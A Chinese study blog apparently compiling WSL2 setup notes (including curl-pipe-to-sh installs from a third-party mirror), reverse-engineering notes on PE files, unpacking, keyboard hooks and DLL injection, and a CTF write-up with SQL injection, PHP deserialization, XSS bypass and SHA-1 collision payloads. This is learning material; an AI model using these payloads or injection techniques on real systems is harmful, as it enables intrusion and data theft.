0%

​ 最讨厌搭环境了,记录一下自己在搭wsl2的方法踩过的坑。

一、WSL2的安装

进入https://docs.microsoft.com/zh-cn/windows/wsl/install-manual官网有详细教程,不要直接用:wsl –install 这个命令,就算下载好重启后也会报错。

我们采用旧版本的方法,先用管理员模式打开powershell输入:

dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart

再用下面的命令,用完后重启电脑:

dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart

当然如果你的电脑版本不行,得先升级,我没有遇到这种情况。

再执行:

wsl --set-default-version 2

接下来去微软商店下载一款虚拟机,我选择的是ubuntu 20.04的版本,下载后点启动:

接下来能看到下面的图,然后是让你注册你的账号和密码,但如果有报错:“参考的对象类型不支持尝试的操作”,建议用管理员命令:

netsh winsock reset

然后重启,接下来就行了,不行就重新下载。

如果成功到这一步,就已经配置成功了。

二、与VScode的共用

我们首先下一个Windows Terminal,这个终端看起来很好看的,我们在这个终端中也可以打开linux终端,所以很方便。

先下一个vscode,可以先不用配置,先在vscode中下一个Remote-WSL的插件,然后在linux下的终端来连接vscode,

先用mkdir创一个文件夹,cd进入,再code .

这个时候等待一会就可以连接了。我们在vscode下创建文件是,可以直接在linux中运行的。

三、docker安装

我们采用脚本安装,用https://gist.github.com/xiaopeng163/f3e72bb1990860859076985d5a723cba#file-install-docker-sh下的脚本进行安装,如图:

接下来重启终端,输入:

sudo service docker start

是让docker启动,输入完成就基本成功了,

再输入,是为了不让每次都重新启动:

sudo systemctl enable docker

三、插件+美化

oh-my-zsh https://github.com/ohmyzsh/ohmyzsh

oh-my-zsh plugins https://github.com/ohmyzsh/ohmyzsh/wiki/Plugins

oh-my-zsh theme https://github.com/ohmyzsh/ohmyzsh/wiki/Themes

zsh-autosuggestions https://github.com/zsh-users/zsh-autosuggestions

采用zsh美化比较简单:

先用第一个连接:选择curl或者wget命令进行下载就行,如果出现:[Ubuntu] 关于ohmyzsh下载被443拒绝连接:

sh -c "$(curl -fsSL https://gitee.com/shmhlsy/oh-my-zsh-install.sh/raw/master/install.sh)"

或者

sh -c "$(wget -O- https://gitee.com/shmhlsy/oh-my-zsh-install.sh/raw/master/install.sh)"

就行了。

安装好会出现下图。

先cd,再ls -la找到.zshrc文件

在zshrc文件下有plugins插件我们可以安装使用。

用code .zshrc可以打开文件,在ZSH_THEME中修改主题,在plugins装插件

我们可以定位到plugins目录下看有什么插件

我们可以加上第4个插件,是可以帮我们显示想要输的字符。

到此应该就结束了。

四、配置python环境

我们不在细说,只说如何运行python,需要一个环境。

cd

source env/bin/activate

这样就能写脚本了!

总结:图形界面就不整了,我觉得不太好看,后面有需要再整!

开启虚拟机

bcdedit /set hypervisorlaunchtype off

开启wls2

bcdedit /set hypervisorlaunchtype auto

1
explorer.exe .

打开本地的文件

逆向工程核心原理

第一章 代码逆向技术基础

先对hello,world进行分析

代码窗口:对于反汇编的呈现

寄存器窗口:显示且可以修改寄存器的值

数据窗口:以unicode/ascii/hex显示地址,可修改

栈窗口:显示ESP指向的栈内存,可改

ESP:栈指针寄存器,其内存放着一个指针,该指针永远指向系统栈最上面

启动函数与所用的编译器是有关的,所以不同编译器的启动函数是不同的。我们的目标是找到用户代码的start处,也就是main函数处,我们可以通过一直点F7,遇到函数就步入,来查看是否又api调用。

当然这显然不如查找字符串那么快。

对于栈为什么会存在,有一篇文章写的很好;https://blog.csdn.net/yu132563/article/details/51598185?ops_request_misc={"request_id"%3A"163877204316780269837356"%2C"scm"%3A"20140713.130102334.."}&request_id=163877204316780269837356&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-51598185.pc_search_mgc_flag&utm_term=栈有什么用&spm=1018.2226.3001.4187 简单的说有几点存在的意义:

1.传参的问题,cpu的寄存器是有限的,当函数内再想调用子函数的时候,再使用原有的cpu寄存器就会冲突了。想利用寄存器传参,就必须在调用子函数前吧寄存器存储起来,然后当函数退出的时候再恢复。

2.函数嵌套,子函数的参数存在什么位置,需要考虑。

3.多线程操作,有了栈对于数据的存储,能够在多线程中来回切换!

API解析;API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数,目的是提供应用程序与开发人员基于某软件或硬件得以访问一组例程的能力,而又无需访问源码,或理解内部工作机制的细节。

就是运用别人写的函数或程序。。。。可以在网上查阅各种API函数的作用

常用指令汇总:

ctrl+F2 ,重启调试

F8: 步过

F7: 步进

F9:运行

ctrl+F9: 循环到return,跳出

“;” :添加注释

F2:设置或者取消断点

ctrl+g :跳转地址

ctrl +E : 编辑数据

常用汇编:

call:调用函数;

jmp: 跳转,eg:jmp 004034243

INC:值+1

DEC:值-1

XOR:异或,常用两个相同的值进行初始化,也用作return 0;

JMP:跳转指定地址

CMP:只比较,不改变数值,但EFLAGS改变,其中ZF为1,则跳转

JE:ZF为1跳转

SUB:前面的参数减后面的参数,一般是ESP-X为了给参数开辟空间

TEST:逻辑比较

1、lea eax,[addr]

就是将表达式addr的值放入eax寄存器,示例如下:

lea eax,[401000h]; 将值401000h写入eax寄存器中

lea指令右边的操作数表示一个精指针,上述指令和mov eax,401000h是等价的

2、lea eax,dword ptr [ebx];将ebx的值赋值给eax

3、lea eax,c;其中c为一个int型的变量,该条语句的意思是把c的地址赋值给eax;

push寄存器:将一个寄存器中的数据入栈

pop寄存器:出栈用一个寄存器接收数据

push 源数据 //push指令可以分解为两条更基本的汇编指令: //–sub $指针移动长度 %rsp //栈指下移 //–mov 源数据 (%rsp) //推入数据至栈顶

pop 目标地址 //pop指令等同于: //–mov (%rsp)目标地址 //数据出栈 //–add $指针移动长度 %rsp //指针上移

四种查找指定代码的方式: 第一种:代码执行法,就是一直F8直到弹出交互框,但这种方法缺点很明显,对于长代码无能为力。

第二种:字符串检索法,这个已经很熟悉了,打开程序看有什么字符串,在定位到指定位置,相当方便。

第三种:API调用1:右键——》search for——-》ALL intermodular call

查找对应API函数。

第四种:API调用2:右键——》search for——-》Name in all modules

用于未能调用出API函数的情况,即有压缩器等情况,与so文件调试有点相似

函数在40100E被调用,执行完返回401014

如何打补丁,我尝试过用c32asm打过补丁,学一下怎么用od来修改:

两种方法:

第一种:修改字符串缓冲区

我们在数据窗口对指定字符串用ctrl+E进行修改,但字符串过长,就有溢出风险。

004092A0 48 00 65 00 6C 00 6C 00 6F 00 20 00 52 00 65 00 H.e.l.l.o. .R.e. 004092B0 76 00 65 00 72 00 73 00 69 00 6E 00 67 00 21 00 v.e.r.s.i.n.g.!. 004092C0 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 H…………… 004092D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………..

第二种: 传递字符串:

我们采用间接方法,我们找到调用原字符串的指令,push 0x4092A0,然后再找到一个NULL区域,我们将NULL区域填充字符串,将push处调用该NULL字符串首地址即可。

大端序和小端序针对1字节以上的才有区分,1字节时没有区别,比如char ch []=”adfsaf”,大端序和小端序没有区别!

大端序:内存低地址存在高位,内存高地址存储在低位。

小端序,低地址在低位,高地址在低位。

在输出flag时常常遇到这种问题,我们的解决方法有两种,在网上找反转的网址,或者使用print(flag[::-1]),将flag倒置。

寄存器:

一、通用寄存器

为了让在我们存储时能更加方便的保留有效的空间做其他事,

比如EAX—-》32位,AX——-》EAX的低16位,AH——》AX的高8位,AL——>AX的低8位

寄存器类型:

EAX:累加器(针对操作数和结果数据的)

EBX:基址寄存器(DS段的数据指针,DS段是用来存放访问数据的段地址.)

ECX:计数器(字符串和循环操作)

EDX:数据寄存器(I/O指针)

EBP:扩展基址指针寄存器(SS段中栈内数据指针)

ESI:源变址寄存器(字符串操作源指针)

EDI:目的变址寄存器(字符串操作目标指针)

ESP:栈指针寄存器(SS中栈指针)

ECX在循环中运用,每次循环一轮后减1,EAX在函数返回值出现。

ESP指向当前栈顶,EBP表是栈的基地址,比如,调用函数先保留ESP,函数结束再返回ESP,即栈帧技术。在深入理解一下ESP,EBP,在栈寄存器中前两列是有意义的,EBP在进入下一个函数前会push ebp,就是备份储存在第二列,第一列是当前函数esp。而esp的第一列保存其第一列的值,而第二列是在第一列的值下存储的地址,而该地址存储数据。

二、段寄存器(比较难理解)

段是用来保护内存的一种技术。可以结合paging将虚拟内存转换为物理内存。段记录再SDT,段寄存器中有记录的索引。

CS:代码段寄存器(存放应用程序代码所在段的段基址)

SS:栈段寄存器(存放栈段段基址)

DS:数据段寄存器(存放段基址)

ES:附加段寄存器

FS:数据段寄存器(处理SEH,TEB,PEB)

GS:数据段寄存器

三、程序状态与控制寄存器

EFLAGS:标志寄存器(32位)

其中代表ZF,当判断结果为0,那么ZF=1,反之。

OF有整数符号溢出,值为1;CF无整数符号溢出,值为1.

四、指令指针寄存器

EIP:指令指针寄存器(凡是缩写前面带E的多为,16为转变成的32位)

执行过程:cpu读取EIP中指令,指令进入缓冲区,存储在eip的值增加,增加的大小是指令字节大小,进行下一条指令读取。

栈是栈顶在上,栈底在下,栈是有高地址到低地址,从上往下运行,ESP开始指向栈底,被push后就往栈顶走。当参数被压入栈时,在前的参数后压入栈。(FILO)

函数执行完,栈中的函数是不用清除的,当下一个函数中的·参数进入时,直接覆盖掉。

栈帧技术:是在调用函数时,先将ESP的值交给EBP,让EBP来储存一个标准,也就是函数返回地址,但这样写很容易被栈溢出修改return的地址!

上图代表:local 1有一块内存,就跟指针一样。dword是4字节,word是2字节,byte是1字节。可以理解为创造两个变量a,b。

调用函数时,先将上面a,b两个参数放在寄存器中,然后push,push后再call函数,进入函数先把返回地址压入,汇编有一点时很奇怪的·,它将用完的全局变量也会即使清除,我想这是因为寄存器少的原因吧。

Visual Basic文件,一般vb文件的运行是需要调用其dll库中的函数,所以该exe文件中有dll文件。

*GUI*的全称为Graphical User Interface,图形化界面或图形用户接口,是指采用图形方式显示的计算机操作环境用户接口。

ESP的清理,当函数执行完毕,ESP要恢复到调用前的值,这样栈的大小不会改变。

三种方法:

1、cdecl,调用者处理栈,比如main中有参数,main来处理参数

2、stdcall,也是调用者处理栈,如果想用:int _stdcall add(int x,int y),有点是兼容性比cdecl强。

3、fastcall,是通过寄存器来清除,因为寄存器是比内存快的

PE文件

一、PE文件是指win下32位可执行文件,64位的PE文件叫做PE32+,PE文件包括:可执行文件exe,scr;库文件dll,ocx,cpl,drv;驱动程序系列:sys,vxd;对象文件系列:obj。除了obj其他都是可执行文件。PE文件分为头和体,从DOS头到节区头Section 属于头部,剩下是体。在文件中用offset偏移表示地址,在内存中用VA表示,这两个的运算很重要。文件的内容是有代码.text,数据.data,资源.rsrc节,分别保存。注意,在PE头和各节区尾部存在NULL区域,这是为了遵守最小基本单位原则,因为要让文件或者内存节的起始位置在最小单位的倍数上,所以需要NULL填充。

二、VA和RVA

VA 是虚拟内存绝对地址 RVA是相对虚拟地址 ImageBase是基准地址

所以有RVA+ImageBase=VA

PE头文件中一般都是RVA,因为dll文件的调用会占位置,正如调试so文件一样,需要算真实地址。

三、PE头

1、DOS头

IMAGE_DOS_HEADER结构体位于PE文件最前面,大小64位

e_magic是签名,e_lfanew指示了NT头的offset,在intel中采用小端序

2、DOS存根

DOS存根(stub),是由代码和数据组成,可有可无。

3、NT头

IMAGE_NT_HEADERS

signature签名,File Header文件头,Optional Header可选头

3.1、NT头,文件头

IMAGE_FILE_HEADER

四个成员:Machine,每个cpu有独有的Machine码;NumberOfSections,文件中节区数量;SizeOfOptionalHeader,指出可选头结构体长度,PE32+用64位的结构体,所以需要查看其长度;Characteristics,查看文件属性。

TimeDataStamp:时间戳

3.2、NT头,可选头

该头是32位PE文件中最大的

Magic,32位是10B,64位是20B;AddressOfEntryPoint,含有EP的RVA;ImageBase,

SectionAlignment,指定节区在内存中的最小单位;

FileAlignment,指定节区在磁盘文件中最小单位;

SizeOfImage,指定PE Image在虚拟内存中占空间大小;

SizeOfHeaders,指出PE头大小;

Subsystem,其值用来区分系统驱动文件.sys与普通可执行文件 .exe .dll;

NumberOfRvaAndSizes,指出DataDirectory的数组大小;

DataDirectory这个数组中比较重要的是:IMPORT和EXPORT Directory、

4、节区头:存有各个节区的属性IMAGE_SECTION_HEADER

VA,PTRD由NT中的可选头定义在SectionAlignment和FileAlignment

VirtualSize和SizeOfRawData的值不同,因为磁盘文件节区大小和内存中的是不一样的

NAME字段,不用以NULL结尾,不用限制是ascii,所以只作为参考

RAW = RVA - VA+ PTRD

求RAW的过程:先用RVA+ImageBase来判断RVA在内存的哪个节区,算VA,VA=内存起始地址-ImageBase,再算PTRD=文件偏移。最后套公式算出RAW(偏移量)。

按理说VA指的是在OD里能看到的地址,但这里应该是省去了VA=内存起始地址-ImageBase这一步,该处的VA并不是用RVA加出来的,而是用该段的VA-基址

RVA,VA:

RVA:(RelativeVirtual Address简称RVA),RVA只是内存中的一个简单的相对于PE文件装入地址的偏移位置,或称为偏移量。

公式: VA(401000h) - 装入地址(Imagebase)400000h=RVA1000h

建议参考这篇文章

https://blog.csdn.net/oBuYiSeng/article/details/50419081?ops_request_misc=%7B%22request%5Fid%22%3A%22163919453216780271510153%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=163919453216780271510153&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-50419081.pc_search_insert_es_download_v2&utm_term=RVA&spm=1018.2226.3001.4187

1.判断指定的RVA在那个节中

2.求得该节的起始地址RVA

3.求出偏移量Offset=RVA-节起始RVA

4.FOA = Offset+该节在磁盘中的起始地址

数据的文件偏移=(数据RVA - 节RVA) + 节的文件偏移

5、IAT:导入地址表

5.1、DLL:动态链接库

DLL单独,不包含在程序中,两种加载方式:

第一种,显示链接,使用时加载,使用完释放

第二种,隐式链接,程序一开始就加载,终止释放内存

有一个小问题,我们再执行一些库函数时,是先跳转到一个地址,然后再用该地址的值跳转到该函数,为什么不直接跳转到该函数?因为再系统和执行环境不同时,那个函数的地址是不准确的,所以我们要规定一个地方来存储那个函数的值!

另外PE头中不使用VA,而是用RVA.

5.2、IMAGE_IMPORT_DESCRIPTOR

记录该程序导出哪些库文件

该结构体被称为IMPORT Directory Table,查找位置在PE头,而存在于PE体!

1、Name:显示函数所属库文件名称

2、OriginalFirstThunk-INT:导入函数信息的指针数组

3、IMAGE_IMPORT_BY_NAME:INT每个地址都指向该结构体

4、FirstThunk-IAT:IAT的第一个值会被真实地址所替代

6、EAT

它使不同的程序调用库文件提供的函数。

压缩:

压缩分为无损和有损

UPX也属于压缩器,保护器还能防止逆向分析

基本知识补充:

在程序开头,call edi是获取ImageBase,ctrl+F8快速F8,点F7退出

如何查找upx加密过的EP代码,有以下几种方法:

1、一步一步跟进,ctrl+F8找到循环,用F2下断点退出循环,再找到jmp大幅度的地方,基本锁定是EP。IAT的恢复过程:

2、ESP定律,设置硬件断点:

进入程序直接定位到,pushad。

我们F8,pushad将eax到edi寄存器的值全部存储过去,我们用寄存器的ESP,右键数据窗口显示,

选中数据右键设硬件断点,硬件访问—》word,设置完然后F9,找到jmpF8就行了

这就是常用的方法。

原理:UPX的特征之一,其EP代码包含在pushad和popad之间,并且jmp的命令出现在popad之后。

硬编码: 硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中的软件开发实践,与从外部获取数据或在运行时生成数据不同。

PE重定位,其实和so文件在ida中定位是一样的:

我们使用010editor来查看文件内部ImageBase的值,在nt头的option下查看,在option下data结构体中的第6项查看IMAGE_BASE_RELOCATION(基址重定位表)的RVA,那么怎么找到这个结构体呢?

我们用PEview打开文件找到RVA值对应的段,一般都在.reloc

找到后,我们发现VA和TypeOffset(16位),TypeOffset前4位是类型,后12位才是偏移: VA+OFFSET=RVA,求出RVA后看内存中的ImageBase加起来就是我们在OD中的地址!

删除.reloc节:

exe文件删不删都没问题,但dll和sys删了就出事了。

先在PEview中NT下查看IMAGE_SECTION_HEADER.reloc:

注意270处是.reloc节区头,其大小是到294,PTRD的数据是.reloc的节区,我们用hexo editor直接找到位置删除就行,或者用nop填充.接下来还需要进行数据的修改,要把file头中的Number of Sections项减去1,因为少了1个节区,还要修改IMAGE_OPTIONAL_HEADER的size of image,我们找到.reloc节区头的SectionAlignment,用size of image-=SectionAlignment就行了

UPack的·PE头特征:

1、重叠文件头nt头的位置是由e_lfanew决定,在压缩中值为10,会导致DOS和NT头重合。

2、FILE头的SizeOfOptionalHeader(为了计算optional头的偏移),UPACK将文件头下的OPTIONAL头的结构体改大,为了在Optional头和Section头中添加一段解码代码。

3、OPTIONAL头中的NumberOfRvaAndSizes代表结构体数组的数量,正常数组是有10h,但改完有A个,就是少了5个,所以从A后的数组全部被改为UPACK自己的代码。

4、在SECTION头中,如果有不需要用的数据,Upack是可以将其改成自己的代码,与第3点相似。

5、第5点通过语言不好描述:简单来说就是节区重叠,看似违反PE规定,但在内存中又重新恢复,所以并不违反。

6、RVA to RAW是一个bug,正常来说PTRD是FileAlignment的整数倍,但FileAlignment为200,PTRD却只有10,那么如果要是整数倍,PTRD就要等于0。这就导致算RAW时算错。

7、导入表:PE的规范是,导入表由IMPORT结构体和最后一个内容NULL组成,但在Upack中第一个结构体后不是结构体,也不是NULL,但在映射到内存的时候,又会出现NULL,也就符合了规范。

内嵌补丁:在难以修改指定代码的时候,比如代码被压缩等情况下,插入”洞穴代码“并运行补丁代码。

我们知道,在这种动态压缩的情况下,我们如果直接查找要修改的字符串,很大可能是不行的,因为我们并没有让压缩的文件进行解码,所以我们必须让程序运行到解码区。

内嵌补丁打法:

1、寻找补丁设置位置,三种方法:(1)设置文件空白区域(2)拓展最后节区后设置(3)添加新节区后设置

代码少的时候用方法(1),其他时候用法(2)或者(3)

法一:

那么对应内存上的地址,如图:

2、在od中找到需要patch的地方401280,在该处进行下列操作:

3、执行补丁

将jmp跳转到该处即可,但我们还需要将jmp处的加密区域的字符改为加密前的字符,我们可以通过动态调试将源码找到,这样经过解码后就是我们想要的了!

总结:本章节晦涩难懂,需要反复学习,要懂得怎么操作!

DLL注入

一、windows消息勾取

HOOK:泛指钓取所需东西而使用的一切工具,我们可以通过hook来钓取我们所想要获得的信息。

GUI:图形用户界面,以event驱动,比如移动鼠标,选择菜单都属于event

正常的windows获取键盘上输入的过程:

键盘输入,存入OS message queue

OS判断,从OS中取出信息,存入application message queue

app发现application message queue,准备处理。

根据上图,我们可以采用hook,勾取消息在app接收之前

SetwindowsHookEx函数

实例句柄:实例句抦用来标识一个程序的一个具体的进程,他的值实际上是这个实例被加载到进程空间的地址。

实例——在windows环境下,不但可以运行多个应用程序,还可以运行多个应用程序的多份拷贝,每个拷贝叫做一个实例,并且有不同的实例句柄。一个实例句柄是windows可以单独运行的副本,是唯一可以标志此实例的整数。

hook procedure是由操作系统调用的回调函数,hook的安装是需要存在于dll文件内部。

通过实例来了解,如何运作,打开hook的exe程序,我们再打开需要键盘输入的程序,发现无法输入,关闭hook后可以输入。

这是hook的源码

hook的源码中的keyhook文件

hook的源码中的keyhook文件

wParam是用户键盘按下的虚拟按键,lParam根据不同位有很多含义,用ToAscii函数得到按键的ascii

总结

如何通过实操进行信息勾取:

先用OD打开应用,并运行,或者用attach打开;

开启options中的each栏中的Break on new module(DLL)选项;

运行hook,在键盘输入;

在executable modules中找到keyhook.dll,双击进入设置断点。

DLL注入

DLL:程序的动态链接库,我们通过dll注入,将dll文件注入我们想获取软件的动态链接库里,这样就可以轻松获取信息。

我们通过使用LoadLibrary()API来加载dll文件,dll注入的原理就是从外部促使目标进程调用LoadLibrary()API,强制执行DllMain()函数。

notepad的PID为17136

书上说的注入方法已经完全不适用于win10系统了,我们一定要将两个文件拖入c盘中但不能创建文件夹,然后我们用管理员模式打开,定位到C:\,输入下面的指令.

Untitled9

接下来我们主要看一下注入的cpp文件源码.

从第二张图片开头说起:

hProcess = OpenProcess(PROCESS_ALL_ACCES , FALSE ,dwPID)用该api先接收到PID然后在获取将要注入软件的句柄(PROCESS_ALL_ACCES权限),我们采用句柄来控制进程。

pRemoteBuf = VirtualAllocEx(hProcess ,NULL, dwBufSize,MEM_COMMIT, PAGE_READWRITE)

分配缓冲区

WriteProcessMemory(hProcess, pRemoteBuf,(LPVOID)szDllName ,dwBufSize, NULL)

将路径分配给缓冲区

hMod=GetModuleHandle(”kernel32.dll)

pThreadProc=(IPTHREAD_START_ROUNTINE)GetProcAddress(hMod,”LoadLibraryW”)

上面两条指令是为了获取LoadLibraryW()的api,我们的意图是加载到软件的kernel32文件,但此处加载到了我们注入程序的kernel,所以在windows系统中kernel32.dll的加载地址一样。

最后进行远程线程,主要是让软件通过LoadLibrary()进行api调用,来启动dll文件

其中CreateRemoteThread函数就是用来调用LoadLibrary()的一个线程。

如果用注册表进行注入,我认为是简单的。

DLL卸载,很显然要完成这个操作,我们需要调用api函数FreeLibrary()进行将卸载dll的句柄穿给软件

该函数就是用来调用FreeLibrary()函数的

其中hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,dwPID)用来加载进程dll的信息,

hProcess=OpenProcess(PROCESS_ALL_ACCESS ,FALSE ,dwPID),获取句柄。

此处是获取api地址的地方,就想上面注入时的操作一样。

此处调动api函数

注入指令:

删除指令:

通过PE文件加载DLL文:

这也是一个最直接的办法,但是很难操作。先介绍两个api函数:

DownloadURL()

其中szURL参数指定网页文件,并保存到szFILE目录。

DropFile()

该函数获取程序运行的句柄,再调用postMessage的api将消息放进消息列表。dummy(),该函数时为dll文件向外部提供服务的导出函数,实际上没用,但为了保持形式的完整性,就有其存在的必要!

修改步骤:

1、查看IDT中是否有足够空间,我们在PEview中查看dll加载起始位置

又因为每个dll’文件都对应一个IID结构体,一个结构体大小为14.所以我们需要的位置大小为84CC—852F

2、移动IDT

首先查看文件的空白区域,基本上时.rdate节区末尾,再增加文件最后节区大小,最后再文件末尾添加新节区。

然后我们要进行删除导入表,导入表可以加速dll的载入,再IMAGE_OPTIONAL_HEADER中的BOUND IMPORT TABLE找地址,然后修改为0即可。

3、创建IDT

在文件末尾修改如下:这是在修改IID

4、设置Name,INT,IAT

对应上个步骤修改的意义。

下图修改RAW:7F00处

下图修改RVA处数据

INT是RVA数组,每个元素都是地址

Name是dll名称

IAT是RVA数组,可以与INT一致,也可以不同。

5、我们在用10edit打开文件时,发现是可读,不可写,所以要改成write,这样,我们修改的数据PE装载器才会改。

第十二届极客大挑战WP

​ yinzkk–WEB

​ bj777–RE+MISC+PWN+Crypto

1 Dark

1.挂个vpn

2.用tor打开

3.在源代码中

2 WELCOME

抓包改包

3 babySQL注入

一开始

我是

呜呜呜一点反应都没有

然后先在url里面输入了一个?id=1

进入了这个jeff的后台

然后折腾了半天

发现

呜呜呜

没数据

发现得在密码里面注入了

进行order判断

在第5个的时候出现no data

所以判断4个(没截图到呜呜呜)

然后再用union select来把

爆出来

那就改12

-1’ union select 1,database(),3,4#然后又查这个 发现 no data

呜呜呜我麻了

发现查1也可以

-1’ union select (select group_concat(table_name) from information_schema.tables where

table_schema=’babysql‘),2,3,4#

百度到要在外面加个括号

出来了

这个

-1’ union select (select group_concat(column_name) from information_schema.columns where

table_name=’jeff’),2,3,4#

看jeff这个表

出现了这么多列

一个个查呜呜呜

一通操作发现

tm 这个flag根本不在这个库

呜呜呜一切重新开始

笑死

猜一个数据库名字为flag(真没办法 不会SQLMAP查数据库)

想到我们是要找flag 所以干脆死马当活马医

结果

真特么

笑死

然后继续查

真尼玛离谱

不会真出来了吧

好耶!

泪目

4where_is_my_FUMO

发现了这个

笑死

卡死

5babyPOP

有unserialize函数且参数可控

在C这个类中有__wakeup的方法

在D这个类中有__invoke方法

在e这个类中有__destruct方法

__destruct()对象销毁自动调用

条件为$Do_u_like_JiaRan为true

到 __wake up 里有这个 然后又是反序列化之前调用 所以 在类 e 里 new c ($this->afkl)();又看到个这个

调用了 __invoke 再new个d

然后又触发了上面的 __toString()

构建一个exp试试

i_want_2_listen_2_MaoZhongDu; } } class d{ public $value; public function __construct(){ $this->value=new b(); } } class c{} class e{ public $var; public $afkl; public function __construct() { $this->var=new c(); $this->var=new d(); } } echo urlencode(base64_encode(serialize(new e()))); ![](Geek2021/image-20211116202912390.png) 得到这个![](Geek2021/image-20211116202925676.png) 但是没回显离谱 百度发现需要requests ![](Geek2021/image-20211116202940819.png) ## 6**babyphp** 进来是一个大大的图片 先不管 先抓包 ![](Geek2021/image-20211116202953433.png) 拉到最下面发现有个这个 打开robots.txt ![](Geek2021/image-20211116203027403.png) 是个php 打开看看 ![](Geek2021/image-20211116203045721.png) 发现提示 flag在根目录(忽略歌词) 根目录 我想想根目录在哪 mad 卡我几天 全是卡在php上面 ![](Geek2021/image-20211116203059857.png) 草 一种植物 做这个做得心态都炸了 泪目 ## 7**蜜雪冰城甜蜜蜜** 打开是个 ![](Geek2021/image-20211116203119364.png) 讲我们要的是九号 翻了一下 刚好只有八个呜呜 咋办呢 看看源代码发现一大堆奇奇怪怪的不认识的东西i 随便点了几个发现没有思路 想起攻防世界的一道题 可以去改源代码试试看 ![](Geek2021/image-20211116203139444.png) 图片上本没有九 要喝多人多了 咱们也得改个九 ## 8**人民艺术家** 进来是一个diao图咱们试试登录 登录失败 ![](Geek2021/image-20211116203154144.png) 进了一个这样的 试试抓包 ![](Geek2021/image-20211116203210289.png) 发现有个Jwt ![](Geek2021/image-20211116203225880.png) 去学习了之后 ![](Geek2021/image-20211116203237461.png) 发现是这样 题目要2019年的 发现改不了 那咋办 ![](Geek2021/image-20211116203255616.png) 去官网试试 我们去看看 ![](Geek2021/image-20211116203312546.png) 要改成19年的 咋改呢 ![](Geek2021/image-20211116203323635.png) 好像这里可以输入密码 hashcat破解 得到私钥为 ![](Geek2021/image-20211116203338752.png) 然后咋搞呢 我想让原来的页面变成2019的 ![](Geek2021/image-20211116203356160.png) 没反应 为啥呢 我再回去检查一遍 发现 ![](Geek2021/image-20211116203407300.png) 尽管来到了2019,我还是一个假的admin.jpg ![](Geek2021/image-20211116203427699.png) ![](Geek2021/image-20211116203440252.png) ![](Geek2021/image-20211116203449073.png) ## 9**babyxss** 先看看随便一个JS语句能不能用 ![](Geek2021/image-20211116203501842.png) 提示被标记 说明不是反射型XSS 进去后发现 ![](Geek2021/image-20211116203521210.png) alert被过滤 ![](Geek2021/image-20211116203536640.png) 需双写绕过 再继续 ![](Geek2021/image-20211116203557053.png) 发现一加入就会报错 不知道为啥 我百度了第一个方法 把变成<\ script> ![](Geek2021/image-20211116203614017.png) 并不行 第二种方法 加入闭合 注释掉script以后的 得到flag ![](Geek2021/image-20211116203627388.png) Server response: 'Syc{W4lc0me_t0_the_w0rld_0f_x3s.}'. payload: ## 10**雷克雅未克** 先抓包XFF改IP 再在cookie改经纬度 x为jin,y为Wei 得到JSfuck 百度用法 得到flag ## 11**黑魔法** 先进来 ![](Geek2021/image-20211116203744885.png) 代码要求是要password大于9999还要弱类型 ![](Geek2021/image-20211116203800895.png) 然后输入11337a 因为之前是1337所以这次直接加个1 查看源代码 ![](Geek2021/image-20211116203816852.png) 有下一个Php ![](Geek2021/image-20211116203828178.png) 进去后 是要我们输入user!=pass 然后又要sha后的user=pass 因为sha不能检测数组 所以就数组绕过 ![](Geek2021/image-20211116203847285.png) 这次检测了数组了 于是我们构建一个 两个值不同但是sha相同的 sha强类型碰撞 (网上白嫖的) %25%50%44%46%2D%31%2E%33%0A%25%E2%E3%CF%D3%0A%0A%0A%31%20%30%20%6F%62%6A%0A%3C%3 C%2F%57%69%64%74%68%20%32%20%30%20%52%2F%48%65%69%67%68%74%20%33%20%30%20%52%2F% 54%79%70%65%20%34%20%30%20%52%2F%53%75%62%74%79%70%65%20%35%20%30%20%52%2F%46%69 %6C%74%65%72%20%36%20%30%20%52%2F%43%6F%6C%6F%72%53%70%61%63%65%20%37%20%30%20%5 2%2F%4C%65%6E%67%74%68%20%38%20%30%20%52%2F%42%69%74%73%50%65%72%43%6F%6D%70%6F% 6E%65%6E%74%20%38%3E%3E%0A%73%74%72%65%61%6D%0A%FF%D8%FF%FE%00%24%53%48%41%2D%31 %20%69%73%20%64%65%61%64%21%21%21%21%21%85%2F%EC%09%23%39%75%9C%39%B1%A1%C6%3C%4 C%97%E1%FF%FE%01%7F%46%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2%56%0B%45%CA%67%D6%88% C7%F8%4B%8C%4C%79%1F%E0%2B%3D%F6%14%F8%6D%B1%69%09%01%C5%6B%45%C1%53%0A%FE%DF%B7 %60%38%E9%72%72%2F%E7%AD%72%8F%0E%49%04%E0%46%C2%30%57%0F%E9%D4%13%98%AB%E1%2E%F 5%BC%94%2B%E3%35%42%A4%80%2D%98%B5%D7%0F%2A%33%2E%C3%7F%AC%35%14%E7%4D%DC%0F%2C% C1%A8%74%CD%0C%78%30%5A%21%56%64%61%30%97%89%60%6B%D0%BF%3F%98%CD%A8%04%46%29%A1 %3C%68%74%6D%6C%3E%0A%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%6A%61%7 6%61%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72% 69%70%74%22%3E%0A%3C%21%2D%2D%20%40%61%72%77%20%2D%2D%3E%0A%0A%76%61%72%20%68%20 %3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%6 7%4E%61%6D%65%28%22%48%54%4D%4C%22%29%5B%30%5D%2E%69%6E%6E%65%72%48%54%4D%4C%2E% 63%68%61%72%43%6F%64%65%41%74%28%31%30%32%29%2E%74%6F%53%74%72%69%6E%67%28%31%36 %29%3B%0A%69%66%20%28%68%20%3D%3D%20%27%37%33%27%29%20%7B%0A%20%20%20%20%64%6F%6 3%75%6D%65%6E%74%2E%62%6F%64%79%2E%69%6E%6E%65%72%48%54%4D%4C%20%3D%20%22%3C%53% 